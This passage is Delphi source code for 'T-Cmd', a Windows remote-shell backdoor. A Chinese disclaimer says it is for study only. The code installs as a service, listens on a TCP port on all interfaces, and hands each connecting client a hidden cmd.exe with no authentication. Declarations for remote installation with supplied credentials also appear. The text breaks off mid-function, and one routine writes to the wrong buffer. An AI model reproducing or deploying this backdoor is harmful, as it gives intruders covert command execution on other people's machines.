{

    Delphi 版 T-Cmd 源碼。
    本代碼僅供學習研究之用。任何人不得將其用于不法目的。
    由此造成的一切責任，由使用者承擔。特此聲明。


   Translated from T-Cmd.cpp.
}
unit T_CMD;

interface

uses
  SysUtils, Windows, WinSock, WinSvc;

type
  TSessionData = record
    hPipe:   THandle;
    sClient: TSocket;
  end;

  PProcessData = ^TProcessData;
  TProcessData = record
    hProcess:    THandle;
    dwProcessID: DWORD;
    next:        PProcessData;
  end;

// service callback functions
procedure CmdStart(dwArgc: DWORD; lpArgv: PLPSTR); stdcall;
procedure CmdControl(dwCode: DWORD); stdcall;

// thread callback functions
function CmdService(lpParam: Pointer): Integer; stdcall;
function CmdShell(lpParam: Pointer): Integer; stdcall;
function ReadShell(lpParam: Pointer): Integer; stdcall;
function WriteShell(lpParam: Pointer): Integer; stdcall;

// T-Cmd functions
function ConnectRemote(bConnect: Boolean;
  hpHost, lpUserName, lpPassword: string): Boolean;
procedure InstallCmdService(lpHost: string);
procedure RemoveCmdService(lpHost: string);
procedure Start;
procedure Usage;
procedure Main;

implementation

uses T_CMDVar, T_CMDCnst;

procedure CmdStart(dwArgc: DWORD; lpArgv: PLPSTR);
var
  hThread: Cardinal;
begin
  ServiceStatus.dwServiceType             := SERVICE_WIN32;
  ServiceStatus.dwCurrentState            := SERVICE_START_PENDING;
  ServiceStatus.dwControlsAccepted        := SERVICE_ACCEPT_STOP or
                                             SERVICE_ACCEPT_PAUSE_CONTINUE;
  ServiceStatus.dwServiceSpecificExitCode := 0;
  ServiceStatus.dwWin32ExitCode           := 0;
  ServiceStatus.dwCheckPoint              := 0;
  ServiceStatus.dwWaitHint                := 0;

  ServiceStatusHandle := RegisterServiceCtrlHandler(N_SERVICE_NAME, @CmdControl);
  if ServiceStatusHandle = 0 then
  begin
    OutputDebugString('RegisterServiceCtrlHandler Error !'#10);
    Exit;
  end;

  ServiceStatus.dwCurrentState := SERVICE_RUNNING;
  ServiceStatus.dwCheckPoint   := 0;
  ServiceStatus.dwWaitHint     := 0;

  if not SetServiceStatus(ServiceStatusHandle, ServiceStatus) then
  begin
    OutputDebugString('SetServiceStatus in CmdStart Error !'#10);
    Exit;
  end;

  hThread := CreateThread(nil, 0, @CmdService, nil, 0, tmpvar);
  if hThread = 0 then OutputDebugString('CreateThread in CmdStart Error !'#10);
end;

procedure CmdControl(dwCode: DWORD);
var
  lpProcessDataTemp: PProcessData;
begin
  case dwCode of
    SERVICE_CONTROL_PAUSE:    ServiceStatus.dwCurrentState := SERVICE_PAUSED;
    SERVICE_CONTROL_CONTINUE: ServiceStatus.dwCurrentState := SERVICE_RUNNING;
    SERVICE_CONTROL_STOP:
      begin
        WaitForSingleObject(hMutex, INFINITE);
        while lpProcessDataHead <> nil do
        begin
          TerminateProcess(lpProcessDataHead.hProcess, 1);
          lpProcessDataTemp := lpProcessDataHead;
          if lpProcessDataHead.next <> nil then
            lpProcessDataHead := lpProcessDataHead.next
          else
            lpProcessDataHead := nil;
          FreeMem(lpProcessDataTemp, SizeOf(TProcessData));
        end; // end while

        ServiceStatus.dwCurrentState  := SERVICE_STOPPED;
        ServiceStatus.dwWin32ExitCode := 0;
        ServiceStatus.dwCheckPoint    := 0;
        ServiceStatus.dwWaitHint      := 0;
        if not SetServiceStatus(ServiceStatusHandle, ServiceStatus) then
          OutputDebugString('SetServiceStatus in CmdControl in Switch Error !'#10);
        ReleaseMutex(hMutex);
        CloseHandle(hMutex);
      end;
    SERVICE_CONTROL_INTERROGATE:
      begin
        //do nothing
      end;
  else
    //do nothing
  end; // end case
  if not SetServiceStatus(ServiceStatusHandle, ServiceStatus) then
    OutputDebugString('SetServiceStatus in CmdControl out Switch Error !'#10);
end;

function CmdService(lpParam: Pointer): Integer;
var
  wsa:     WSAData;
  sServer: TSocket;
  sClient: TSocket;
  hThread: Cardinal;
  sin:     sockaddr_in;
begin
  Result := -1;
  WSAStartup(MAKEWORD(2, 2), wsa);
  sServer := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if sServer = INVALID_SOCKET then
  begin
    OutputDebugString('Socket Error !'#10);
    Exit;
  end;
  sin.sin_family      := AF_INET;
  sin.sin_port        := htons(N_SERVICE_OPEN_PORT);
  sin.sin_addr.S_addr := INADDR_ANY;

  if bind(sServer, sin, sizeof(sin)) = SOCKET_ERROR then
  begin
    OutputDebugString('Bind Error !'#10);
    Exit;
  end;
  if listen(sServer, 5) = SOCKET_ERROR then
  begin
    OutputDebugString('Listen Error !'#10);
    Exit;
  end;
  hMutex := CreateMutex(nil, FALSE, nil);
  if hMutex = 0 then OutputDebugString('Create Mutex Error !'#10);
  lpProcessDataHead := nil;
  lpProcessDataEnd  := nil;

  while True do
  begin
    sClient := accept(sServer, nil, nil);
    hThread := CreateThread(nil, 0, @CmdShell, @sClient, 0, tmpvar);
    if hThread = 0 then
    begin
      OutputDebugString('CreateThread of CmdShell Error !'#10);
      Break;
    end;
    Sleep(1000);
  end;
  WSACleanup;
  Result := 0;
end;

function CmdShell(lpParam: Pointer): Integer;
var
  sClient:            TSocket;
  hWritePipe,
  hReadPipe,
  hWriteShell,
  hReadShell:         THandle;
  hThread:            array[0..2] of THandle;
  dwReavThreadId,
  dwSendThreadId:     DWORD;
  dwProcessId:        DWORD;
  dwResult:           DWORD;
  lpStartupInfo:      STARTUPINFO;
  sdWrite,
  sdRead:             TSessionData;
  lpProcessInfo:      PROCESS_INFORMATION;
  saPipe:             SECURITY_ATTRIBUTES;
  lpProcessDataLast,
  lpProcessDataNow:   PProcessData;
  lpImagePath:        array[0..MAX_PATH - 1] of Char;
begin
  Result := -1;
  sClient := TSocket(lpParam^);
  saPipe.nLength              := sizeof(saPipe);
  saPipe.bInheritHandle       := TRUE;
  saPipe.lpSecurityDescriptor := nil;
  if not CreatePipe(hReadPipe, hReadShell, @saPipe, 0) then
  begin
    OutputDebugString('CreatePipe for ReadPipe Error !'#10);
    Exit;
  end;
  if not CreatePipe(hWriteShell, hWritePipe, @saPipe, 0) then
  begin
    OutputDebugString('CreatePipe for WritePipe Error !'#10);
    Exit;
  end;
  GetStartupInfo(lpStartupInfo);
  lpStartupInfo.cb          := sizeof(lpStartupInfo);
  lpStartupInfo.dwFlags     := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
  lpStartupInfo.hStdInput   := hWriteShell;
  lpStartupInfo.hStdOutput  := hReadShell;
  lpStartupInfo.hStdError   := hReadShell;
  lpStartupInfo.wShowWindow := SW_HIDE;

  GetSystemDirectory(lpImagePath, MAX_PATH);
  strcat(lpImagePath, '\cmd.exe');

  WaitForSingleObject(hMutex, INFINITE);
  if not CreateProcess(lpImagePath, nil, nil, nil, TRUE, 0, nil, nil,
    lpStartupInfo, lpProcessInfo) then
  begin
    OutputDebugString('CreateProcess Error !'#10);
    Exit;
  end;

  GetMem(lpProcessDataNow, sizeof(TProcessData));
  lpProcessDataNow.hProcess    := lpProcessInfo.hProcess;
  lpProcessDataNow.dwProcessId := lpProcessInfo.dwProcessId;
  lpProcessDataNow.next        := nil;
  if (lpProcessDataHead = nil) or (lpProcessDataEnd = nil) then
  begin
    lpProcessDataHead := lpProcessDataNow;
    lpProcessDataEnd := lpProcessDataNow;
  end
  else
  begin
    lpProcessDataEnd.next := lpProcessDataNow;
    lpProcessDataEnd := lpProcessDataNow;
  end;

  hThread[0] := lpProcessInfo.hProcess;
  dwProcessId := lpProcessInfo.dwProcessId;
  CloseHandle(lpProcessInfo.hThread);
  ReleaseMutex(hMutex);

  CloseHandle(hWriteShell);
  CloseHandle(hReadShell);

  sdRead.hPipe   := hReadPipe;
  sdRead.sClient := sClient;
  hThread[1] := CreateThread(nil, 0, @ReadShell, @sdRead, 0, dwSendThreadId);
  if hThread[1] = 0 then
  begin
    OutputDebugString('CreateThread of ReadShell(Send) Error !'#10);
    Exit;
  end;

  sdWrite.hPipe   := hWritePipe;
  sdWrite.sClient := sClient;
  hThread[2] := CreateThread(nil, 0, @WriteShell, @sdWrite, 0, dwReavThreadId);
  if hThread[2] = 0 then
  begin
    OutputDebugString('CreateThread of ReadShell(Recv) Error !'#10);
    Exit;
  end;

  dwResult := WaitForMultipleObjects(3, PWOHandleArray(@hThread[0]), FALSE, INFINITE);
  if (dwResult >= WAIT_OBJECT_0) and (dwResult <= (WAIT_OBJECT_0 + 2)) then
  begin
    dwResult := dwResult - WAIT_OBJECT_0;
    if (dwResult <> 0) then
      TerminateProcess(hThread[0], 1);
    CloseHandle(hThread[(dwResult + 1) mod 3]);
    CloseHandle(hThread[(dwResult + 2) mod 3]);
  end;

  CloseHandle(hWritePipe);
  CloseHandle(hReadPipe);

  WaitForSingleObject(hMutex, INFINITE);
  lpProcessDataLast := nil;
  lpProcessDataNow  := lpProcessDataHead;
  while (lpProcessDataNow.next <> nil) and
    (lpProcessDataNow.dwProcessId <> dwProcessId) do
  begin
    lpProcessDataLast := lpProcessDataNow;
    lpProcessDataNow  := lpProcessDataNow.next;
  end;
  if lpProcessDataNow = lpProcessDataEnd then
  begin
    if lpProcessDataNow.dwProcessId <> dwProcessId then
      OutputDebugString('No Found the Process Handle !'#10)
    else
    begin
      if lpProcessDataNow = lpProcessDataHead then
      begin
        lpProcessDataHead := nil;
        lpProcessDataEnd := nil;
      end
      else
        lpProcessDataEnd := lpProcessDataLast;
    end;
  end
  else
  begin
    if lpProcessDataNow = lpProcessDataHead then
      lpProcessDataHead := lpProcessDataNow.next
    else
      lpProcessDataLast.next := lpProcessDataNow.next;
  end;
  ReleaseMutex(hMutex);
  Result := 0;
end;

function ReadShell(lpParam: Pointer): Integer;
var
  sdRead:        TSessionData;
  dwBufferRead,
  dwBufferNow,
  dwBuffer2Send: DWORD;
  szBuffer:      array[0..BUFFER_SIZE - 1] of Char;
  szBuffer2Send: array[0..BUFFER_SIZE + 31] of Char;
  PrevChar:      Char;
  szStartMessage,
  szHelpMessage: array[0..255] of Char;
begin
  sdRead := TSessionData(lpParam^);
  FillChar(szStartMessage, 256, 0);
  szStartMessage := N_NET_WELCOM_MESSAGE;
  FillChar(szHelpMessage, 256, 0);
  szHelpMessage := N_NET_HELP_MESSAGE;

  send(sdRead.sClient, szStartMessage, 256, 0);
  send(sdRead.sClient, szHelpMessage, 256, 0);

  while PeekNamedPipe(sdRead.hPipe, @szBuffer, BUFFER_SIZE, @dwBufferRead, nil, nil) do
  begin
    if (dwBufferRead > 0) then
      ReadFile(sdRead.hPipe, szBuffer, BUFFER_SIZE, dwBufferRead, nil)
    else
    begin
      Sleep(10);
      Continue;
    end;

    dwBufferNow   := 0;
    dwBuffer2Send := 0;
    PrevChar      := #0;
    while dwBufferNow < dwBufferRead do
    begin
      if ((szBuffer[dwBufferNow] = #10) and (PrevChar <> #13)) then
      begin
        szBuffer[dwBuffer2Send] := #13;
        Inc(dwBuffer2Send);
      end;
      PrevChar := szBuffer[dwBufferNow];
      szBuffer2Send[dwBuffer2Send] := szBuffer[dwBufferNow];
      Inc(dwBufferNow);
      Inc(dwBuffer2Send);
    end;

    if send(sdRead.sClient, szBuffer2Send, dwBuffer2Send, 0) = SOCKET_ERROR then
    begin
      OutputDebugString('Send in ReadShell Error !'#10);
      Break;
    end;
    Sleep(5);
  end;
  shutdown(sdRead.sClient, $02);
  closesocket(sdRead.sClient);
  Result := 0;